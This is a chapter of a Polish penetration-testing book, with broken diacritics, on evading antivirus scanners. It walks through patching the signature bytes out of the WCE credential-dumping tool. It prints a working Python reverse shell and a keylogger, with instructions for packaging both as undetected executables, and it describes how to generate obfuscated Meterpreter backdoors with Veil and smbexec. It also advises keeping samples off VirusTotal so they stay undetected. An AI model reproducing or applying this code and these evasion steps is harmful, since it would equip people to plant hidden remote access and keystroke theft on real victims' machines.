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Rozdzia  8.

ZMY KA ROZGRYWAJ CEGO
— OMIJANIE PROGRAMÓW
ANTYWIRUSOWYCH

Uwa am, e skanery antywirusowe istniej  tylko po to, by zatrzyma  dzieciaki bawi ce
si  w hakerów. Je li korzystasz z domy lnych ustawie  Metasploita lub u ywasz plików
pobranych wcze niej z internetu bez adnej obróbki, jest du e prawdopodobie stwo, e
nie tylko zostaniesz z apany, ale e tak e zako czy si  ca y test. Element zaskoczenia to
istotny czynnik wp ywaj cy na sukces w poruszaniu si  po atakowanej sieci. W tym roz-
dziale wyja ni , jak nie da  si  z apa  skanerom antywirusowym.

OSZUKIWANIE SKANERÓW ANTYWIRUSOWYCH

Regularnie napotykam programy antywirusowe, które blokuj  adunek Meterpretera, za-
pobiegaj  u yciu programu WCE (ang. Windows Credentials Editor) lub innego narz dzia
do testów penetracyjnych albo te  przekazuj  u ytkownikowi odpowiednie informacje
ostrzegawcze. Obecnie gwarancji przemkni cia si  nie daj  ju  szyfratory wbudowane
w narz dzie Metasploit, takie jak msfvenom lub Shikata Ga Nai.

Zanim przejdziemy do zagadnienia omijania skanerów antywirusowych, chcia bym po-
kaza , czego szukaj  tego rodzaju skanery. Je li od jakiego  czasu starasz si  unika  wy-
krycia przez skanery, zapewne wiesz, e w wi kszo ci bazuj  one na sygnaturach. Skaner
szuka okre lonych ci gów znaków i gdy je rozpozna, wszczyna alarm. Przedstawione te-
raz przyk ady poka , jak atwo mo na manipulowa  programami antywirusowymi.

UKRYWANIE WCE PRZED PROGRAMAMI ANTYWIRUSOWYMI
(WINDOWS)

Uwielbiam narz dzie WCE, poniewa  umo liwia wyci gni cie z pami ci komputera hase
zapisanych jawnym tekstem. Problem polega na tym, e WCE powoduje alarm w zasadzie
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we wszystkich skanerach antywirusowych. Najszybszym sposobem omini cia programu
antywirusowego jest wi c sprawdzenie, gdzie w pliku WCE skaner szuka sygnatury, po
czym zmienienie jej.

Przyk ad — narz dzie Evade

W komputerze z systemem Windows uruchom narz dzie Evade (https://www.securepla.
net/antivirus-now-you-see-me-now-you-dont/). Evade przyjmuje jako dane plik wykony-
walny i tworzy wiele cz ci tego pliku na podstawie zadanego rozmiaru. Przypu my, e
mamy plik o rozmiarze 50 kB i chcemy podzieli  go na pliki o rozmiarze 5 kB ka dy. Po-
wstanie 10 ró nych cz ci pliku. Pierwszy plik b dzie zawiera  pierwsze 5 kB danych (na-
g ówek MZ i kilka dodatkowych informacji). Drugi plik b dzie zawiera  oprócz pierwszych
5 kB tak e nast pne 5 kB. Wszystko powtórzy si  a  do uzyskania pe nego pliku.

W przedstawionym przyk adzie wczyta em plik WCE, zdefiniowa em folder wyj ciowy
i klikn em przycisk Split! (rysunek 8.1). W folderze wynikowym znajduj  si  pliki sta-
nowi ce poszczególne cz ci pliku wej ciowego (rysunek 8.2).

Rysunek 8.1. Narz dzie Evade

Powinni my uzyska  zbiór ró nych plików. Po uruchomieniu szesnastkowego edytora
plików (HxD) mo emy zauwa y , e pierwszy z nich zawiera pierwsze 5000 bajtów, a drugi
— pierwsze 10 000 bajtów (rysunek 8.3).

Po otwarciu kalkulatora mo emy odj  od siebie warto ci szesnastkowe: 270F–1387 daje
1388, co po zamianie na warto  szesnastkow  daje ostatecznie warto  5000. Idealnie!
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Rysunek 8.2. Wynik dzia ania narz dzia Evade

Zacznij od najmniejszego pliku i przeskanuj go za pomoc  wybranego skanera antywi-
rusowego. Czy w czy  si  alarm? Je li nie, przejd  do nast pnego pliku. Je li tym razem
program antywirusowy zg osi  ostrze enie, oznacza to, e ostatnie 5000 bajtów ostatnie-
go pliku zawiera co , co wywo uje alarm w programie antywirusowym (rysunek 8.4).

Podczas generowania plików lub skanowania r cznego program antywirusowy informu-
je u ytkownika o podejrzanych plikach. W zale no ci od wybranej przez program akcji
pliki po TestFile_145000 mog  zosta  usuni te, co oznacza, e sygnatura musi znajdowa
si  mi dzy bajtami 145 000 – 150 000.

Zobaczmy, co znajduje si  w tym miejscu. Po zamianie 145 000 na warto  szesnastko-
w  otrzymujemy 23 668. Przekonajmy si  w edytorze HxD, co te  tutaj jest. Poszukaj
ciekawych miejsc w pliku lub uruchom ponownie narz dzie Evade, aby bardziej szczegó-
owo podzieli  plik wykonywalny.

Wydaje si , e tym razem uda o mi si  zlokalizowa  miejsce, którego poszukuje program
antywirusowy. Sygnatur  jest nazwa aplikacji i jej autor (rysunek 8.5).

Za pomoc  edytora HxD mo emy nadpisa  te warto ci, po czym zapisa  zmodyfikowa-
ny plik wykonywalny pod now  nazw  (rysunek 8.6).

Nadpisa em sygnatur  warto ciami odpowiadaj cymi znakowi A i zapisa em plik jako
wce2.exe. Na szcz cie w tym przypadku sygnatura nie dotyczy binarnej cz ci pliku wy-
konywalnego, a jedynie danych wy wietlanych na ekranie. Przetestujmy zmodyfikowan
wersj  pliku w programie antywirusowym (rysunek 8.7).
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Rysunek 8.3. Porównanie plików

Skaner nie zg asza ju  adnych uwag wzgl dem aplikacji, a samo narz dzie nadal funkcjo-
nuje znakomicie. Warto pami ta , e wszystko dzia a, poniewa  modyfikowane warto ci
dotyczy y tekstów pojawiaj cych si  na ekranie, a nie samego kodu binarnego aplikacji.
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Rysunek 8.4. Znajdowanie pliku powoduj cego ostrze enie w programie antywirusowym

Rysunek 8.5. Identyfikacja sygnatury wywo uj cej alarm w programie antywirusowym

Je li sygnatura bazowa aby na kodzie, którego nie mo na zmieni , przedstawiony trik nie
zadzia a by. Niniejszy przyk ad mia  przede wszystkim zobrazowa  s abo  programów
antywirusowych i sam  ide  unikania wykrycia zagro enia przez skaner.

SKRYPTY W J ZYKU PYTHON

Python to Twój najlepszy przyjaciel. U ywam tego j zyka do tworzenia wi kszo ci na-
rz dzi i przeprowadzania w ama . Powodów, dla których korzystam z j zyka Python, jest
kilka. Po pierwsze, istnieje wiele systemów, które pliki wykonywalne i skrypty Pythona
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Rysunek 8.6. Modyfikacja sygnatury w czaj cej alarm

Rysunek 8.7. Skaner antywirusowy niesygnalizuj cy ju  zagro enia

maj  na swojej „bia ej li cie”. Po drugie, bardzo atwo doda  element losowo ci i obej
dowoln  sygnatur . Po trzecie, dzi ki narz dziom takim jak py2exe mo na bardzo atwo
zamieni  dowolny skrypt na plik wykonywalny.

Pow oka j zyka Python

Po obejrzeniu prezentacji Dave�a Kennedy'ego na konferencji BSides w 2012 roku (http://
www.trustedsec.com/files/BSIDESLV_Secret_Pentesting_Techniques.pdf) na powa nie za-
interesowa em si  wykorzystaniem j zyka Python do tworzenia niebezpiecznych adun-
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ków. Okazuje si , e naj atwiej napisa  prosty skrypt i nast pnie zamieni  go na plik wy-
konywalny za pomoc  narz dzia py2exe.

#!/usr/bin/python
import socket, subprocess
HOST = '192.168.10.100'
PORT = 5151
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send('[*] Ustanowiono po czenie!')
while 1:
   data = s.recv(1024)
   if data == 'quit': break
   proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
   stdin=subprocess.PIPE)
   stdout_value = proc.stdout.read() + proc.stderr.read()
   s.send(stdout_value)
s.close()

Przedstawiony kod utworzy po czenie konsolowe do adresu IP 192.168.10.100 na porcie
5151. Je li mam tam uruchomione narz dzie netcat, uzyskam efekt odwróconej pow o-
ki. Korzystaj c z programu PyInstaller, mo emy zamieni  plik py na plik wykonywalny.

C:\python27\python.exe C:\utils\pyinstaller-2.0\pyinstaller.py --out=C:\shell\ --noconsole
--onefile C:\shell\shell.py

O ile wiem, aden program antywirusowy nie podniesie alarmu w przypadku takiego pliku.

Logowanie znaków w Pythonie1

Wykorzystuje si  wiele ró nych rodzajów narz dzi do logowania wprowadzanych znaków.
Moim celem przy tworzeniu takiego narz dzia by a ch  unikni cia rozpoznania przez
program antywirusowy i, w miar  mo liwo ci, znalezienie si  na „bia ej li cie” dopusz-
czonych aplikacji.

Przedstawiony skrypt spowoduje, e b d  rejestrowane wszystkie klawisze naci ni te na
klawiaturze.

import pyHook, pythoncom, sys, logging
file_log = 'C:\\systemlog.txt'
def OnKeyboardEvent(event):
   logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
   chr(event.Ascii)
   logging.log(10, chr(event.Ascii))
   return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

                                                          
1 http://www.youtube.com/watch?v=8BiOPBsXh0g#t=163
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Oto mój plik konfiguracyjny setup.py:

from distutils.core
import setup
import py2exe
setup(options = {'py2exe': {'bundle_files': 1, 'compressed': True}},
   windows = [{'script': "logger.py"}],
   zipfile = None,
)

Dzi ki narz dziu py2exe skonwertuj  skrypt na plik wykonywalny, wykonuj c poni sze
polecenia:

python.exe setup.py install
python.exe setup.py py2exe

Uzyska em w ten sposób plik binarny, który zapisuje wszystkie naci ni te klawisze w pli-
ku C:\systemlog.txt. Skrypt jest niezwykle prosty i jak do tej pory nie wykry  go aden pro-
gram antywirusowy. W razie potrzeby mo na doda  do skryptu nieco losowo ci, by mie
pewno , e jego sygnatura nie znajduje si  bazie danych programu antywirusowego.

Przyk ad u ycia narz dzia Veil (Kali Linux)

Veil to napisany przez Christophera Truncera generator adunków, którego zadaniem
jest omijanie zabezpiecze  antywirusowych. Narz dzie korzysta z wielu ró nych technik,
by oszuka  skaner antywirusowy. Najbardziej znane jest jednak z przyjmowania pow o-
ki Meterpretera, jej konwersji na j zyk Python i opakowania adunku za pomoc  py2exe
lub pyinstaller. W ten sposób plik wykonywalny potrafi oszuka  wiele programów an-
tywirusowych, a nawet znale  si  na „bia ej li cie” programów dopuszczonych do wy-
konania. Istnieje wiele ró nych sposobów u ycia narz dzia Veil — opisz  ten najpopu-
larniejszy.

Utworzenie zaszyfrowanego pliku Meterpretera dla odwróconej pow oki

Wykonaj nast puj ce czynno ci:

 Przejd  do folderu /opt/Veil i wykonaj skrypt:
cd /opt/Veil
./Veil-Evasion.py.

 W przyk adzie u yjemy adunku MeterHTTPSContained, wi c wpisz
poni sze polecenie:
use 25

 Podobnie jak w przypadku Metasploita ustawimy warto ci LHOST i LPORT.
Przyk adowo mój system atakuj cy ma adres IP 192.168.75.131, a portem
nas uchuj cym (LPORT) jest port 443 (by udawa  komunikacj  SSL):
set LHOST 192.168.75.131
set LPORT 443
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 Wpisz poni sze polecenie, aby wygenerowa  adunek (rysunek 8.8):
generate

Rysunek 8.8. Konfiguracja narz dzia Veil

Jak wcze niej wspomnia em, chcemy otoczy  wynikowy plik wykonywalny skryptem
Pythona, aby unikn  wykrycia. Skorzystaj z domy lnego instalatora pyinstaller, wy-
bieraj c opcj  numer 1 (rysunek 8.9).

Po zako czeniu pracy narz dzie Veil umie ci plik wynikowy w folderze /root/veil-output/
compiled/. Nie umieszczaj wyniku w witrynach typu VirusTotal, bo mo e to spowodo-
wa  w przysz o ci zg oszenie alertu antywirusowego. Mo na natomiast sprawdzi  plik
wynikowy za pomoc  lokalnych programów antywirusowych. Ten sposób dzia ania jak
na razie jeszcze mnie nie zawiód , wi c, jak s dz , powinien stanowi  cz  arsena u ka -
dego testera.
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Rysunek 8.9. J zyk Python — ukrycie odwróconej pow oki Meterpretera

Narz dzie smbexec (Kali Linux)

Smbexec to narz dzie napisane przez brav0hax (https://github.com/brav0hax/smbexec),
oferuj ce wiele ró nych funkcji. W ksi ce u yli my ju  tego narz dzia do pobrania skró-
tów z kontrolera domeny, ale mo na je wykorzysta  równie  do wydobycia listy udzia ów,
sprawdzenia loginów, wy czenia UAC (ang. User Account Control), a nawet utworzenia
zaszyfrowanych wersji plików wykonywalnych Meterpretera. Twórca narz dzia u ywa
wielu technik s u cych do zaciemnienia w a ciwej tre ci, w czaj c w to losowe zmiany
i kompilacj  bezpo rednio z kodu ród owego w j zyku C (zajrzyj do kodu ród owego
smbexec.sh, by pozna  szczegó y). W przedstawionym przyk adzie utworzymy odwróco-
n  pow ok .

Utworzenie zaszyfrowanego pliku Meterpretera dla odwróconej pow oki

Wykonaj kolejno nast puj ce czynno ci:

 Wykonaj polecenia:
cd /opt/smbexec
./smbexec.sh

 Wybierz polecenie numer 2 (System Access).

 Wybierz polecenie numer 2 (Create an executable and rc script).

 Wybierz polecenie numer 2 (windows/meterpreter/reverse_https).

 Wpisz lokalny adres IP i numer portu:
172.16.139.209,
443.

Po zako czeniu pracy przez narz dzie smbexec w folderze, w którym si  obecnie znaj-
dujemy, pojawia si  nowy folder. W jego nazwie znajdziemy dane dotycz ce daty i czasu
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utworzenia. Folder zawiera plik backdoor.exe, który stanowi zaszyfrowany plik wykony-
walny Meterpretera dla odwróconej pow oki.

root@kali:/opt/smbexec/2013-12-23-1425-smbexec# ls -alh
total 128K
drwxr-xr-x 2 root root 4.0K Dec 29 18:28 .
drwxr-xr-x 10 root root 4.0K Dec 23 14:44 ..
-rwxr-xr-x 1 root root 110K Dec 23 14:28 backdoor.exe
-rw-r--r-- 1 root root 283 Dec 23 14:28 metasetup.rc
-rw-r--r-- 1 root root 92 Dec 23 14:28 sha1-backdoor.hash

W folderze z plikiem backdoor.exe znajduje si  równie  skrypt metasetup.rc. Skrypty RC
s  omawiane co prawda w rozdziale 9., ale po otwarciu pliku najprawdopodobniej zoba-
czysz kod podobny do przedstawionego poni ej:

spool /opt/smbexec/2013-12-23-1425-smbexec/msfoutput-1425.txt
use exploit/multi/handler
set payload windows/meterpreter/reverse_https
set LHOST 172.16.139.209
set LPORT 443
set SessionCommunicationTimeout 600
set ExitOnSession false
set InitialAutoRunScript migrate -f
exploit -j -z

Skrypt automatycznie konfiguruje narz dzie i uruchamia procedur  obs ugi dla wygene-
rowanego w a nie adunku. Dodaje równie  polecenia zwi zane z przekroczeniem czasu
i automatyczn  migracj  PID (ang. Process IDentifier). Aby uruchomi  skrypt, wykonaj
polecenie:

msfconsole -r metasetup.rc

PODSUMOWANIE

Ten rozdzia  powinien da  dobre rozeznanie w tym, co nale y zrobi , aby ukry  si  przed
skanerem antywirusowym. Ostatni  rzecz , na której nam zale y, jest konfrontacja z pro-
gramem antywirusowym powstrzymuj cym nas przed w amaniem si  do systemu posia-
daj cego luk . Istnieje wiele ró nych metod oszukiwania programów antywirusowych
— przedstawi em tylko kilka z nich, ale nawet one powinny da  mo liwo  dobrego ukry-
cia si .

Testy penetracyjne polegaj  na wypróbowywaniu ró nych narz dzi, technik, taktyk, by
przekona  si , co dzia a w konkretnym rodowisku. Pami taj, eby nie wysy a  plików
wykonywalnych do systemów takich jak VirusTotal, poniewa  czas ycia tych plików
bez alarmowania o zagro eniu mo e si  znacz co skróci .
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